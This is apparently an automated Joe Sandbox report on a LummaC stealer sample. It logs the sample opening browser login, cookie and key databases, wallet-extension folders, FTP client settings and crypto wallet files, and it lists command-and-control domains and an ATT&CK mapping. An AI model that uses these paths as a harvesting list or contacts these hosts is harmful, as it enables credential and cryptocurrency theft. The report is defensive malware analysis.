Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\arcaneloader.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL	Jump to behavior

Source: Yara match	File source: 00000003.00000003.2265617650.000000000327A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: arcaneloader.exe PID: 280, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: arcaneloader.exe PID: 280, type: MEMORYSTR
Source: Yara match	File source: 3.2.arcaneloader.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.arcaneloader.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.2347732117.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2147698291.000000000349E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	211 Process Injection	11 Virtualization/Sandbox Evasion	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Screen Capture	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	211 Process Injection	LSASS Memory	141 Security Software Discovery	Remote Desktop Protocol	1 Archive Collected Data	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	11 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	41 Data from Local System	113 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	3 Obfuscated Files or Information	NTDS	1 Process Discovery	Distributed Component Object Model	2 Clipboard Data	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Software Packing	LSA Secrets	11 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	33 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
arcaneloader.exe	42%	ReversingLabs	Win32.Packed.Generic
arcaneloader.exe	100%	Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://frogs-severz.sbs/apiS	0%	Avira URL Cloud	safe
https://frogs-severz.sbs/api	0%	Avira URL Cloud	safe
https://frogs-severz.sbs/mB	0%	Avira URL Cloud	safe
https://frogs-severz.sbs/cl	0%	Avira URL Cloud	safe
https://frogs-severz.s	0%	Avira URL Cloud	safe
https://frogs-severz.sbs/apikB	0%	Avira URL Cloud	safe
fumblingactor.cyou	0%	Avira URL Cloud	safe
https://frogs-severz.sbs:443/apial	0%	Avira URL Cloud	safe
https://frogs-severz.sbs/apiiF	0%	Avira URL Cloud	safe
https://frogs-severz.sbs/	0%	Avira URL Cloud	safe
https://frogs-severz.sbs/apigoN0T	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
frogs-severz.sbs	172.67.155.47	true	false		high
fumblingactor.cyou	unknown	unknown	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://frogs-severz.sbs/api	true	Avira URL Cloud: safe	unknown
fumblingactor.cyou	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://frogs-severz.sbs/cl	arcaneloader.exe, 00000003.00000003.2286841337.000000000326C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/chrome_newtab	arcaneloader.exe, 00000003.00000003.2196309451.00000000057ED000.00000004.00000800.00020000.00000000.sdmp, arcaneloader.exe, 00000003.00000003.2196383157.00000000057EB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://frogs-severz.sbs/apikB	arcaneloader.exe, 00000003.00000003.2195949369.0000000003270000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	arcaneloader.exe, 00000003.00000003.2196309451.00000000057ED000.00000004.00000800.00020000.00000000.sdmp, arcaneloader.exe, 00000003.00000003.2196383157.00000000057EB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	arcaneloader.exe, 00000003.00000003.2196309451.00000000057ED000.00000004.00000800.00020000.00000000.sdmp, arcaneloader.exe, 00000003.00000003.2196383157.00000000057EB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.	arcaneloader.exe, 00000003.00000003.2241058749.00000000057B5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://frogs-severz.sbs/apiS	arcaneloader.exe, 00000003.00000003.2286841337.000000000326C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	arcaneloader.exe, 00000003.00000003.2241058749.00000000057B5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	arcaneloader.exe, 00000003.00000003.2196309451.00000000057ED000.00000004.00000800.00020000.00000000.sdmp, arcaneloader.exe, 00000003.00000003.2196383157.00000000057EB000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	arcaneloader.exe, 00000003.00000003.2239123754.00000000057CC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	arcaneloader.exe, 00000003.00000003.2196309451.00000000057ED000.00000004.00000800.00020000.00000000.sdmp, arcaneloader.exe, 00000003.00000003.2196383157.00000000057EB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://frogs-severz.sbs/mB	arcaneloader.exe, 00000003.00000003.2195949369.0000000003277000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.rootca1.amazontrust.com0:	arcaneloader.exe, 00000003.00000003.2239123754.00000000057CC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	arcaneloader.exe, 00000003.00000003.2196309451.00000000057ED000.00000004.00000800.00020000.00000000.sdmp, arcaneloader.exe, 00000003.00000003.2196383157.00000000057EB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg	arcaneloader.exe, 00000003.00000003.2241058749.00000000057B5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://frogs-severz.sbs/apiiF	arcaneloader.exe, 00000003.00000003.2262709670.00000000057AF000.00000004.00000800.00020000.00000000.sdmp, arcaneloader.exe, 00000003.00000003.2238399885.00000000057AF000.00000004.00000800.00020000.00000000.sdmp, arcaneloader.exe, 00000003.00000003.2239078589.00000000057AF000.00000004.00000800.00020000.00000000.sdmp, arcaneloader.exe, 00000003.00000003.2238614584.00000000057AF000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	arcaneloader.exe, 00000003.00000003.2240657828.00000000058C0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_	arcaneloader.exe, 00000003.00000003.2241058749.00000000057B5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://frogs-severz.sbs:443/apial	arcaneloader.exe, 00000003.00000002.2349286243.00000000031F1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	arcaneloader.exe, 00000003.00000003.2196309451.00000000057ED000.00000004.00000800.00020000.00000000.sdmp, arcaneloader.exe, 00000003.00000003.2196383157.00000000057EB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://frogs-severz.s	arcaneloader.exe, 00000003.00000003.2286689845.00000000057AF000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://frogs-severz.sbs/	arcaneloader.exe, 00000003.00000003.2347314866.000000000326A000.00000004.00000020.00020000.00000000.sdmp, arcaneloader.exe, 00000003.00000003.2239078589.00000000057AF000.00000004.00000800.00020000.00000000.sdmp, arcaneloader.exe, 00000003.00000003.2238614584.00000000057AF000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	arcaneloader.exe, 00000003.00000003.2241058749.00000000057B5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://frogs-severz.sbs/apigoN0T	arcaneloader.exe, 00000003.00000003.2238399885.00000000057B6000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://x1.c.lencr.org/0	arcaneloader.exe, 00000003.00000003.2239123754.00000000057CC000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	arcaneloader.exe, 00000003.00000003.2239123754.00000000057CC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	arcaneloader.exe, 00000003.00000003.2196309451.00000000057ED000.00000004.00000800.00020000.00000000.sdmp, arcaneloader.exe, 00000003.00000003.2196383157.00000000057EB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3	arcaneloader.exe, 00000003.00000003.2241058749.00000000057B5000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	arcaneloader.exe, 00000003.00000003.2239123754.00000000057CC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.all	arcaneloader.exe, 00000003.00000003.2240657828.00000000058C0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	arcaneloader.exe, 00000003.00000003.2196309451.00000000057ED000.00000004.00000800.00020000.00000000.sdmp, arcaneloader.exe, 00000003.00000003.2196383157.00000000057EB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.mozilla.or	arcaneloader.exe, 00000003.00000003.2240520662.00000000057C8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta	arcaneloader.exe, 00000003.00000003.2241058749.00000000057B5000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
172.67.155.47	frogs-severz.sbs	United States		13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1561494
Start date and time:	2024-11-23 15:02:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 49s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	arcaneloader.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@4/0@2/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 91% Number of executed functions: 46 Number of non-executed functions: 111
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe
